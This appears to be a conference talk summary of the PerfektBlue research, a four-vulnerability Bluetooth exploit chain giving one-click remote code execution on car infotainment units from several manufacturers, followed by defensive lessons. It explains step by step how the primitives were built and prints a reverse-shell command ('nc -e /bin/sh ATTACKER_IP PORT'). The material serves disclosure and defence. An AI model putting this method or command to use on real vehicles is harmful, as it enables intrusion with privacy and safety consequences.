PerfektBlue: Universal 1-click Exploit to Pwn Automotive Industry - Mercedes-Benz, Volkswagen, Skoda
Mikhail Evdokimov (Senior Security Researcher · PCAutomotive Security Assessment Team)
CODE BLUE 2025 · Day 1 · Track 1 (Hall B)
Overview
Mikhail Evdokimov's CODE BLUE talk, "PerfektBlue: Universal 1-click Exploit to Pwn Automotive Industry," unveiled a sophisticated attack chain capable of achieving remote code execution (RCE) on millions of vehicles from leading manufacturers like Volkswagen, Mercedes-Benz, Skoda, BMW, and Audi. The PerfektBlue attack leverages a combination of four distinct vulnerabilities within the Open Synergy BlueSDK, a widely adopted Bluetooth stack in the automotive sector. This talk meticulously details the process of chaining these vulnerabilities to bypass standard security mitigations, including ASLR, shadow stack, and control flow integrity (CFI), culminating in a universal, one-click RCE exploit.

Key moments
- 0:00 Introduction to Perfect Blue and affected vehicles
- 7:48 Discovering the AVRCP Use-After-Free vulnerability
- 9:40 Developing heap spray and arbitrary address write primitives
- 16:30 ARFCOM logic bugs; state machine prevents address leak
- 21:20 L2CAP channel ID vulnerability enables address leak
- 28:00 Achieving arbitrary function call and address read
- 32:30 Live demo: Volkswagen ID4 remote code execution
- 34:10 Impact on other vehicles and lateral movement possibilities
PerfektBlue: Universal 1-click Exploit to Pwn Automotive Industry - Mercedes-Benz, Volkswagen, Skoda
Speakers: Mikhail Evdokimov, Senior Security Researcher, PCAutomotive Security Assessment Team
Conference: CODE BLUE
YouTube: https://www.youtube.com/watch?v=SBCACtyMBHI
Overview
Mikhail Evdokimov's CODE BLUE talk, "PerfektBlue: Universal 1-click Exploit to Pwn Automotive Industry," unveiled a sophisticated attack chain capable of achieving remote code execution (RCE) on millions of vehicles from leading manufacturers like Volkswagen, Mercedes-Benz, Skoda, BMW, and Audi. The PerfektBlue attack leverages a combination of four distinct vulnerabilities within the Open Synergy BlueSDK, a widely adopted Bluetooth stack in the automotive sector. This talk meticulously details the process of chaining these vulnerabilities to bypass standard security mitigations, including ASLR, shadow stack, and control flow integrity (CFI), culminating in a universal, one-click RCE exploit.
The significance of PerfektBlue lies not only in its broad impact across numerous vehicle brands but also in the depth of its technical ingenuity. Evdokimov demonstrates how seemingly innocuous logic flaws and memory corruption vulnerabilities can be meticulously combined to gain full control over a vehicle's infotainment system (IVI). This access serves as a critical entry point for potential lateral movement into other sensitive vehicle systems, posing severe risks to vehicle safety, data privacy, and overall security.
The research highlights the critical importance of robust security practices in embedded systems, particularly within the automotive industry, where vulnerabilities can have far-reaching and dangerous consequences. By providing a comprehensive breakdown of the exploit development process, from initial vulnerability discovery to the construction of advanced exploitation primitives, Evdokimov offers invaluable insights for both defenders and researchers striving to secure the increasingly complex attack surface of modern vehicles.
Background
▶ Watch: Introduction to Perfect Blue and affected vehicles (0:00)
Modern vehicles are no longer mere mechanical devices; they are sophisticated networked systems, with the Infotainment Unit (IVI) serving as a central hub for connectivity and user interaction. These IVI units provide a plethora of features, including USB, Wi-Fi access point and client modes, Bluetooth, Apple CarPlay, and Android Auto. Crucially, IVIs are also interconnected with other Electronic Control Units (ECUs) within the car via internal networks like CAN bus, making them a prime target for attackers seeking to gain a foothold in the vehicle's broader architecture.
The core target of the PerfektBlue attack is the Open Synergy BlueSDK, a custom Bluetooth stack implementation prevalent in the automotive industry. BlueSDK is designed as a modular framework, allowing for adaptation to specific devices and vendors, which unfortunately can lead to variations in implementation and potentially introduce security flaws. The stack implements all standard Bluetooth protocols, including L2CAP (Logical Link Control and Adaptation Protocol), HCI (Host Controller Interface), AVRCP (Audio/Video Remote Control Profile), and RFCOMM (Radio Frequency Communication).
A critical aspect of Bluetooth security is the pairing procedure. Evdokimov notes significant differences in how vendors implement this. For instance, BMW and Mercedes-Benz require a user to explicitly open a specific menu to allow incoming pairing requests, which is a commendable security practice. However, in the case of Volkswagen, Skoda, and Audi, an attacker can initiate the pairing procedure at any moment. This action triggers a pairing menu pop-up (usually with "Cancel" and "Allow" buttons). If the user clicks "Cancel," the attacker can continuously reinitiate the request, effectively using social engineering to coerce the user into granting pairing access. This initial bypass of user interaction is a key enabler for the one-click nature of PerfektBlue.
The talk delves into specific Bluetooth protocols foundational to the attack. AVRCP defines how to control streaming media characteristics (e.g., play, pause, volume) and uses AVCTP (Audio/Video Control Transport Protocol) as its underlying transport. RFCOMM, on the other hand, is designed to emulate serial communications, featuring a multiplexer channel for connection management and data channels for message exchange. Understanding the intricate workings and state machines of these protocols within the BlueSDK implementation was paramount to discovering and chaining the vulnerabilities.
Key Findings
▶ Watch: Developing heap spray and arbitrary address write primitives (9:40)
The PerfektBlue attack is a testament to the power of chaining multiple, seemingly disparate vulnerabilities to achieve a devastating outcome: universal, one-click remote code execution. The research uncovered four primary vulnerabilities within the Open Synergy BlueSDK, which, when combined, allowed for the bypass of standard security mitigations like ASLR (Address Space Layout Randomization), Shadow Stack, and CFI (Control Flow Integrity), depending on the specific device's implementation.
The primary target and "patient zero" for this research was a Volkswagen ID4 manufactured in 2022. The Bluetooth application, BT_app, is a 64-bit ARM executable running as a non-privileged user, with all default security mitigations enabled, making it an ideal testbed for demonstrating the exploit's capabilities.
The four key vulnerabilities and their roles in the PerfektBlue chain are:
- AVRCP Use-After-Free (UAF) Condition: This is the foundational memory corruption vulnerability. It arises from improper handling of
response PDUobjects and their associatedparameterdata during AVRCP frame processing. Specifically, after freeing these objects, a stale pointer to the freed memory remains. A subsequent, malformed "pound frame" (an invalid packet type) then attempts to write data into this freed memory, leading to a classic UAF. This UAF is the basis for constructing powerful heap exploitation primitives.
- RFCOMM Logic Flaw (Disconnect & Continue): In the RFCOMM multiplexer channel, a function handling
testcommands (similar to a TCP/IP ping) exhibits two critical logic flaws. First, if an incoming parameter length is excessively large, the function triggers anL2CAP_Disconnectbut continues processing the malicious input instead of terminating. Second, while copying data internally, it uses a sanitized length (copy_len), but when sending a response back to the attacker, it uses the original, unsanitized, and potentially much largerparam_len. This combination would ordinarily lead to an out-of-bounds read, but a state machine issue initially prevented its exploitation.
- L2CAP Channel ID Validation Bypass: This vulnerability resides in the L2CAP protocol's channel establishment process. When a dynamic channel is set up, the
L2CAP_State_Machinefunction assigns aremote_channel_ID. Crucially, there is no validation on the received value for this ID, allowing an attacker to specify a null identifier (zero), which the Bluetooth specification explicitly states should never be used. This seemingly harmless flaw becomes the key enabler for exploiting the RFCOMM logic flaws.
- Chained Out-of-Bounds Read for Address Leak: The L2CAP Channel ID bypass directly addresses the state machine issue in the RFCOMM logic flaw. By forcing the
remote_channel_IDto zero, theL2CAP_Disconnect_Requestfunction (triggered by the malicious RFCOMMtestcommand) bypasses the internal function that changes the L2CAP channel state to "disconnecting." As a result, the channel state remains open, allowing the subsequent out-of-bounds read from the RFCOMM logic flaw to successfully transmit data to the attacker. This leaks the address of theclient_open_Qmember within theRFCOMM_MAXstructure, located in the BSS section, thus providing a crucial code address leak to defeat ASLR.
These four findings, intricately woven together, form the PerfektBlue attack chain. The AVRCP UAF is leveraged to gain arbitrary write capabilities, while the chained RFCOMM and L2CAP vulnerabilities provide the necessary address leak to overcome ASLR. With these primitives, the attacker can then construct arbitrary function call and address read primitives, ultimately leading to full remote code execution.
Technical Deep Dive
▶ Watch: L2CAP channel ID vulnerability enables address leak (21:20)
The PerfektBlue exploit is a masterclass in deep protocol analysis and sophisticated heap exploitation. It begins with the AVRCP Use-After-Free (UAF) vulnerability, which serves as the foundation for memory corruption.
AVRCP UAF and Heap Primitives:
AVRCP frames are structured with an opcode, packet_type, and parameter field, with the parameter carrying the actual data. The protocol also includes a fragmentation logic, where a continue request is sent by the controller after receiving a fragmented PDU from the target device, asking for more data until the complete PDU is reassembled.
The core of the AVRCP UAF lies within the parse_response function, which handles incoming response frames. When processing a start frame, the function allocates a response PDU object and a separate heap chunk for its parameter data. For continue and end frames, it reallocates the parameter if necessary and copies received data. However, a crucial logic flaw exists in the default case for invalid packet_types. Even for these "pound frames," the function still copies received data into the parameter heap chunk.
The UAF is triggered in a specific sequence:
- An attacker sends a complete AVRCP response with a
response_codethat matches an accepted value (e.g.,accepted,implemented,stable,interim). - The
freefunction is called. It first releases theparameterobject linked within theresponse PDUstructure, then frees theresponse PDUitself, which is linked in thechannelobject. - Critically, the
advanced_response_PDUpointer within thechannelobject is not zeroed after freeing theresponse PDU. It becomes a dangling pointer, still pointing to the now-freedresponse PDUmemory. - The attacker then sends a "pound frame" (an invalid
packet_type). Thedefaultcase inparse_responseis triggered, and it attempts to copy data into theparametermember. Since theresponse PDUwas freed but its pointer remains, the copy operation occurs into the freedresponse PDUobject, and specifically into its freedparametermember, creating a use-after-free condition.
To convert this UAF into a more powerful primitive, the exploit employs heap spraying. By sending numerous start frames with attacker-controlled parameter lengths, the attacker can spray the heap with controllable objects. The advanced_response_PDU pointer is overwritten without validation, and there's no upper bound on the parameter length, allowing for precise heap grooming.
The next step is transforming the UAF into an arbitrary address write primitive. This involves substituting the freed response PDU object with a fake object that the attacker fully controls. The challenge lies in dealing with different libc versions, which might use tcash or unsorted bin for heap management. Unsorted bin operates like a queue (insert at beginning, delete from end), while tcash uses singly linked lists, behaving like a stack. To achieve universality, the exploit first empties specific heap bins using the heap spray primitive.
The process for arbitrary write (simplified for unsorted bin):
- Heap spray to empty the
unsorted bin. - Allocate a new
response PDUand itsparameter(infast binrange). - Allocate a
comment PDUand itsparameter(infast binrange). - Free the
comment PDU. Its object goes to theunsorted bin(beginning of the queue). - Trigger the UAF by freeing the
response PDU. Its object also goes to theunsorted bin, placed before thecomment PDUobject. - Allocate a new
comment PDUwith aparameterlength matching theresponse PDUobject size. This allocation reclaims the freedresponse PDUchunk. - The attacker now fully controls the content of this reallocated
response PDUchunk, including itsparameterpointer. - By sending a "pound frame," the attacker can write arbitrary data to the memory location pointed to by the now-controlled
parameterpointer, achieving an arbitrary address write. This primitive is repeatable.
RFCOMM and L2CAP Chaining for Address Leak:
Initially, Evdokimov discovered two vulnerabilities in the RFCOMM protocol, specifically in the multiplex_channel function handling test commands:
- Disconnect without Termination: If an incoming
param_lenis too large, anL2CAP_Disconnectis triggered, but the function continues processing the data. - Unsanitized Length for Outgoing Data: Data is copied into a global buffer using a sanitized
copy_len(minimum ofparam_lenand0x7fbytes). However, when sending thetestresponse, the unsanitizedparam_lenis used, potentially leading to an out-of-bounds read from thetest_response_global_buffer.
However, these two RFCOMM vulnerabilities alone did not yield an address leak. The L2CAP_Disconnect call internally changed the dynamic channel's state to "disconnecting." The send_test function, requiring an "open" channel state, would then fail to transmit any data.
This is where the L2CAP Channel ID Validation Bypass comes into play. During L2CAP channel establishment, the L2CAP_State_Machine assigns a remote_channel_ID. The critical flaw is the lack of validation on the received remote_channel_ID, allowing an attacker to specify 0x00, even though the Bluetooth specification explicitly forbids null identifiers.
The chain for the address leak works as follows:
- An attacker establishes an HCI link connection.
- The target device sends an
L2CAP_Connection_Requestto the attacker's RFCOMM profile. - The attacker responds with an
L2CAP_Connection_Response, setting theirremote_channel_IDto0x00. The L2CAP RFCOMM channel is established with the target's local ID (e.g.,0x40) and the attacker's remote ID0x00. - The attacker then sends a malicious RFCOMM
testcommand with an excessively largeparam_len. - This triggers the
L2CAP_Disconnectwithin themultiplex_channelfunction. - However, because the
remote_channel_IDwas set to0x00, theL2CAP_Disconnect_Requestfunction bypasses the internal call that would change the L2CAP channel state to "disconnecting." The channel state remains open. - The
multiplex_channelfunction continues execution (due to the first RFCOMM flaw). - The
send_testfunction is called, now finding the channel in an "open" state. - The second RFCOMM flaw is triggered: the
unsanitized param_lenis used for the response length, causing an out-of-bounds read fromtest_response_global_buffer. - The leaked data is transmitted to the attacker. This data corresponds to the
client_open_Qmember of theRFCOMM_MAXstructure, which resides in the BSS section. This provides a reliable code address leak, allowing the exploit to calculate the base address of the BlueSDK executable or library, thus defeating ASLR.
Arbitrary Function Call and Address Read Primitives:
With an arbitrary address write and a code address leak, the next step is to obtain an arbitrary function call primitive. After evaluating several candidates, the L2CAP_Connectionless_Event_Handler was chosen. This function traverses a list of special objects, each containing a context and a callback member. By using the arbitrary address write, the attacker can manipulate this list, effectively controlling which function is executed and its first parameter. The address of this connectionless_handlers_list can be calculated from the leaked code address.
Finally, an arbitrary address read primitive is constructed. The idea is to find a function that accepts a single parameter (a pointer to outgoing data), reads from that address without writing to it, and then transmits the data. The target function identified is AVTP_Send_Response_Packet.
- Using the arbitrary address write, the attacker places two crafted objects in memory: an
AVTP_Channeland anAVTP_Packet. These objects are configured to control thedata_pointeranddata_lengthmembers of an internalBT_PacketthatAVTP_Send_Response_Packetwill use. - The arbitrary function call primitive is then used to execute
AVTP_Send_Response_Packetwith the craftedAVTP_Channelas its parameter. - The function reads from the attacker-specified
data_pointerfor the specifieddata_lengthand transmits it back. This achieves a clean arbitrary address read.
This allows the exploit to dump sections of the BlueSDK code, eliminating the need for firmware extraction and enabling remote, automated tuning of exploit offsets.
Remote Code Execution:
With the ability to read and write arbitrary memory, call arbitrary functions, and leak code addresses, the final step to RCE is straightforward. The exploit obtains the address of the system function (e.g., from libc via the address read primitive) and then uses the arbitrary function call primitive to execute system with a controlled first parameter (e.g., a command string like "nc -e /bin/sh ATTACKER_IP PORT").
The overall exploit architecture involves:
- Setting up an access point (for post-exploitation communication).
- Executing the one-click Bluetooth exploit to get RCE.
- Forcing the IVI's Wi-Fi supplicant to connect to the attacker's access point.
- Launching a reverse shell over TCP/IP.
Demo / Proof of Concept
▶ Watch: Achieving arbitrary function call and address read (28:00)
Mikhail Evdokimov demonstrated the PerfektBlue exploit with a prerecorded video targeting a Volkswagen ID4 manufactured in 2022. The demo meticulously showcased each stage of the attack:
- Forced Pairing: The video first illustrated the social engineering aspect, where the attacker repeatedly initiates pairing requests. Each time the user clicks "Cancel" on the IVI's pairing menu, the request is reinitiated until the user eventually clicks "Allow." This highlights a critical user interaction flaw in certain vendor implementations.
- Address Leak: Once paired, the exploit proceeds to leverage the chained L2CAP and RFCOMM vulnerabilities to leak the code address from the IVI. This step is crucial for bypassing ASLR.
- Heap Grooming and Primitive Construction: The exploit then performs extensive heap spraying and object shaping. This process constructs the arbitrary address read, write, and function call primitives derived from the AVRCP UAF.
- Reverse Shell and Visual Confirmation: Finally, the exploit uploads necessary files over TCP/IP (via the established Wi-Fi connection) to obtain a clean reverse shell on the IVI. As a visual confirmation of full control, an image was displayed directly on the IVI's screen. Evdokimov noted the significant effort required to achieve "almost 100% exploit stability."
Beyond the primary VW ID4 target, the talk provided insights into other affected vehicles and the adaptations required:
- Skoda Vehicles: Tested on a real car with 2022 firmware. Notably, PI (Position Independent Executable) mitigation was disabled on these IVI systems at the time of research. This significantly simplified exploitation, as half of the obtained primitives (specifically those related to ASLR bypass) were not even necessary. Confirmed RCE was achieved.
- Mercedes-Benz: All standard security mitigations were enabled. The primary challenge here was that the
RFCOMM_MAXobjects had a different internal structure, requiring a rework of the address leaking component. Exploitation was successfully demonstrated on a test bench, confirming RCE.
- BMW: Multiple BMW cars were available for testing, but firmware was not. At the time, Evdokimov was using a weaker address read primitive, which prevented full firmware dumping. Consequently, only the address leaking part of the exploit (L2CAP and RFCOMM vulnerabilities) was tested and confirmed successful, with highlighted leaked code addresses shown on the slide. Memory corruption was intentionally avoided on real vehicles to prevent potential malfunctioning.
- Audi Cars: Verified approximately one month before the talk. Audi IVI systems implemented AppArmor rules for the Bluetooth service, blocking direct
system()calls. While theRFCOMM_MAXobject structure also differed, this was not a significant hurdle. All core primitives (address read, write, and function call) were confirmed to be working. Although a direct reverse shell viasystem()was blocked, the exploit successfully executed shellcode within the Bluetooth process. This involved a small first-stage shellcode uploading a C-compiled second stage, demonstrating limited remote code execution. Full IVI exploitation was deemed possible but not fully verified due to time constraints.
Defensive Implications
▶ Watch: Impact on other vehicles and lateral movement possibilities (34:10)
The PerfektBlue attack underscores the critical need for robust security measures within the automotive industry, particularly for complex software components like Bluetooth stacks. The broad impact across major vendors highlights systemic issues that require immediate attention.
From a defensive standpoint, several key implications emerge:
- Prompt Patching and Updates: Open Synergy, the vendor of BlueSDK, rolled out a patch within a few months of notification. Vehicle manufacturers then had to integrate and distribute these patches via firmware updates. Users of affected vehicles should prioritize installing all available IVI firmware updates to mitigate this and similar vulnerabilities. The disclosure timeline indicates a complex process involving multiple vendors, emphasizing the challenge of coordinated vulnerability disclosure in a diverse ecosystem.
- Input Validation and State Machine Integrity: The vulnerabilities in PerfektBlue originated from inadequate input validation (e.g.,
param_lenin RFCOMM,remote_channel_IDin L2CAP) and flawed state machine logic (e.g.,L2CAP_Disconnectnot terminating execution, channel state remaining open). Developers of embedded systems must implement rigorous input validation at all protocol layers and ensure that state transitions are handled correctly and securely, especially after critical operations like disconnections.
- Secure Memory Management: The AVRCP Use-After-Free is a classic memory corruption vulnerability. Best practices for memory management, such as zeroing freed pointers and using memory-safe programming languages or constructs, are crucial. Modern heap mitigations, while present, were bypassed, indicating the need for continuous research into and implementation of advanced memory safety techniques.
- Effective Sandboxing and Privilege Separation: The Audi case highlights the importance of AppArmor or similar sandboxing mechanisms. While AppArmor prevented a direct
system()call, it didn't prevent shellcode execution, indicating that sandboxing needs to be comprehensive and fine-grained to truly limit an attacker's capabilities post-exploitation. Running Bluetooth services with the absolute minimum necessary privileges is also essential.
- Comprehensive Security Audits: The modular nature of BlueSDK means that each vendor's integration can introduce unique security challenges. Regular, independent security audits and penetration testing of both the core Bluetooth stack and its specific vendor implementations are vital to uncover subtle logic flaws and integration-specific vulnerabilities.
- Understanding Lateral Movement Risks: The most significant implication of RCE on an IVI is its potential as an entry point to the broader car system. An attacker with RCE on the IVI can attempt:
- Privilege Escalation: By exploiting more privileged services through IPCI (Inter-Process Communication Interface) mechanisms or directly attacking the kernel via additional vulnerabilities.
- Lateral Movement to Other ECUs: Depending on the car's architecture, the IVI might have direct or indirect access to other critical ECUs (e.g., engine control, braking, steering) via internal networks. Exploiting these connections could lead to physical control over the vehicle.
- Exploitation of Connected Devices: The IVI's connectivity features (CarPlay, Android Auto) could be leveraged to attack connected smartphones.
In summary, PerfektBlue serves as a stark reminder that automotive security must evolve beyond basic network isolation to encompass rigorous scrutiny of all software components, especially those handling external wireless communications. A layered defense strategy, combining secure coding practices, robust mitigations, and comprehensive sandboxing, is essential to protect modern vehicles from sophisticated attacks.
Key Takeaways
- Universal One-Click RCE: PerfektBlue is a universal, one-click remote code execution exploit impacting millions of vehicles from major manufacturers (Volkswagen, Mercedes-Benz, Skoda, BMW, Audi) via Bluetooth.
- Chaining Multiple Vulnerabilities: The attack succeeds by meticulously chaining four distinct vulnerabilities: an AVRCP Use-After-Free, two RFCOMM logic flaws, and an L2CAP Channel ID validation bypass.
- Sophisticated Exploit Primitives: The research demonstrates advanced exploit development techniques, including heap spraying, arbitrary address read/write, and arbitrary function call primitives, to bypass modern security mitigations like ASLR.
- Critical Entry Point: RCE on the IVI provides a critical entry point for attackers, enabling potential lateral movement to other sensitive ECUs, privilege escalation, data exfiltration (phonebook, GPS, voice calls), and even control over connected mobile devices.
- Importance of Secure Bluetooth Stack: The vulnerabilities highlight the paramount importance of secure design, rigorous input validation, and correct state machine implementation within widely used embedded software components like Bluetooth stacks.
- Automotive Security Complexity: The varying security postures (e.g., PIE enabled/disabled, AppArmor rules) and differing hardware/software architectures across vendors complicate universal exploitation and defense, underscoring the ongoing challenges in automotive cybersecurity.
About the Speaker(s)
Mikhail Evdokimov is a Senior Security Researcher at PCAutomotive Security Assessment Team. His work primarily focuses on reverse engineering and vulnerability research, with a particular interest in wireless technologies and kernels. Evdokimov has a background in competitive security, having participated in multiple Pwn competitions and occasionally playing CTFs (Capture The Flag) events. His expertise in uncovering and exploiting complex vulnerabilities in embedded systems, as demonstrated by the PerfektBlue research, highlights his deep understanding of low-level security challenges.
Reviews
Dr. Zero (Offensive Security Researcher) — MUST SEE
This is the real thing — a four-bug chain yielding universal 1-click RCE across five major OEMs, with heap grooming, ASLR bypass via protocol-layer logic flaws, and demonstrated stability on real vehicles. Evdokimov did the work, showed the work, and the impact is industry-defining.
Heather Calloway (CISO) — STRONG ACCEPT
A 1-click Bluetooth RCE chain hitting millions of vehicles across VW, Mercedes, Skoda, BMW, and Audi. This is a fleet-level exposure that demands immediate attention from any organization managing executive vehicles, corporate fleets, or high-risk employee devices.